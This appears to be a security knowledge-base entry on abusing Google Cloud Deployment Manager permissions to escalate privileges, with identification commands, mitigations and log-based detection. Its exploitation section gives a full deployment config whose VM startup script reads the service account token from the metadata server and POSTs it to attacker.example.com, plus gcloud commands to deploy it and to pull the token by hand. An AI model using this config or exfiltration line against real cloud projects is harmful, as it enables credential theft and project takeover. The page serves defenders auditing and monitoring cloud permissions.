Summary
| Forestall ACL Alias | GCP_DEPLOY_INFRA |
| GCP Alias | Compute Execution & Pipeline Pivots |
| Affected Object Types | Projects |
| Exploitation Certainty | Certain |
| Granting Roles | roles/deploymentmanager.admin, roles/deploymentmanager.editor |
Description
GCP_DEPLOY_INFRA indicates that an identity can create and manage Deployment Manager deployments. Deployment Manager is GCP’s infrastructure-as-code service (similar to Terraform or CloudFormation). Critically, Deployment Manager executes deployments using the Google APIs Service Agent ([PROJECT_NUMBER]@cloudservices.gserviceaccount.com), which is automatically granted roles/editor on the project.
An attacker with Deployment Manager permissions can define a deployment that provisions a VM or other resource with malicious configuration, all executed as the Google APIs SA. This SA has broad project-level write access and its token can be extracted from the provisioned resources.
Key abuse scenarios:
- Deploy a VM via Deployment Manager (executed as Google APIs SA) → the SA has editor rights → extract SA token or abuse provisioned resources.
- Deploy a Cloud Function with a custom SA → extract token from the function’s execution environment.
- Use Deployment Manager to create IAM bindings or service account keys as the Google APIs SA.
Identification
gcloud CLI
# Find who has Deployment Manager admin or editor rolesPROJECT_ID="my-project"gcloud projects get-iam-policy $PROJECT_ID --format=json | \ jq '.bindings[] | select(.role | test("deploymentmanager.admin|deploymentmanager.editor")) | {role: .role, members: .members}'
# Check Google APIs SA permissionsPROJECT_NUMBER=$(gcloud projects describe $PROJECT_ID --format="value(projectNumber)")APIS_SA="${PROJECT_NUMBER}@cloudservices.gserviceaccount.com"gcloud projects get-iam-policy $PROJECT_ID --format=json | \ jq --arg sa "serviceAccount:${APIS_SA}" '.bindings[] | select(.members[] | contains($sa))'
# List existing deploymentsgcloud deployment-manager deployments list --project=$PROJECT_ID \ --format="table(name, operation.status, insertTime)"GCP Console
- Open GCP Console → Deployment Manager → review all existing deployments.
- Check IAM & Admin → IAM for principals with
Deployment Manager AdminorDeployment Manager Editor. - Review the Google APIs SA (
[PROJECT_NUMBER]@cloudservices.gserviceaccount.com) permissions.
Exploitation
gcloud CLI
# Write a malicious Deployment Manager config that provisions a VM with a token-exfiltrating startup scriptcat > /tmp/config.yaml << 'EOF'resources:- name: attacker-vm type: compute.v1.instance properties: zone: us-central1-a machineType: zones/us-central1-a/machineTypes/e2-micro serviceAccounts: - email: default scopes: - https://www.googleapis.com/auth/cloud-platform disks: - deviceName: boot type: PERSISTENT boot: true autoDelete: true initializeParams: sourceImage: projects/debian-cloud/global/images/family/debian-11 networkInterfaces: - network: global/networks/default accessConfigs: - name: External NAT type: ONE_TO_ONE_NAT metadata: items: - key: startup-script value: | #!/bin/bash TOKEN=$(curl -s -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token") curl -X POST -d "$TOKEN" https://attacker.example.com/collectEOF
# Submit the deployment — executed as the Google APIs SA (roles/editor on the project by default)PROJECT_ID="target-project"gcloud deployment-manager deployments create attacker-deployment \ --config=/tmp/config.yaml \ --project=$PROJECT_IDAlternatively, SSH into the provisioned VM and extract the token interactively:
gcloud compute ssh attacker-vm --zone=us-central1-a --project=$PROJECT_ID
# From inside the VM:curl -s -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"Compound path: GCP_DEPLOY_INFRA → deploy VM via Google APIs SA (roles/editor) → extract Compute Engine default SA token from metadata server → use token to create additional SA keys, modify IAM bindings, or impersonate higher-privilege SAs.
Mitigation
- Restrict
roles/deploymentmanager.editorto a dedicated automation SA, never human users in production. - Remove or restrict the Google APIs SA (
[PROJECT_NUMBER]@cloudservices.gserviceaccount.com) permissions — the defaultroles/editoris too broad; use a custom minimal role if Deployment Manager is required. - Prefer Terraform with a purpose-specific SA over Deployment Manager to avoid the overly privileged Google APIs SA.
- Audit all deployments for unexpected resource types or startup scripts.
- Enable deployment approval workflows before Deployment Manager can create or modify resources in production.
Detection
| Log Type | Method | Key Fields |
|---|---|---|
| Admin Activity | insert (deploymentmanager) |
resource.type=deployment, deployment creation |
| Admin Activity | *compute.instances.insert by Google APIs SA |
VM created by Deployment Manager |
# Monitor Deployment Manager operationsgcloud logging read \ 'resource.type="deployment" AND protoPayload.methodName=~"deploymentmanager"' \ --project=$PROJECT_ID \ --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.resourceName)"
# Monitor VMs created by the Google APIs SA (Deployment Manager execution)PROJECT_NUMBER=$(gcloud projects describe $PROJECT_ID --format="value(projectNumber)")gcloud logging read \ "protoPayload.authenticationInfo.principalEmail=\"${PROJECT_NUMBER}@cloudservices.gserviceaccount.com\" AND protoPayload.methodName=~\"compute.instances.insert\"" \ --project=$PROJECT_ID \ --format="table(timestamp, protoPayload.request.name, protoPayload.request.serviceAccounts)"Alert on:
- Deployment creation by non-standard identities.
- Deployments that provision compute instances.
- Google APIs SA creating resources outside of known infrastructure pipelines.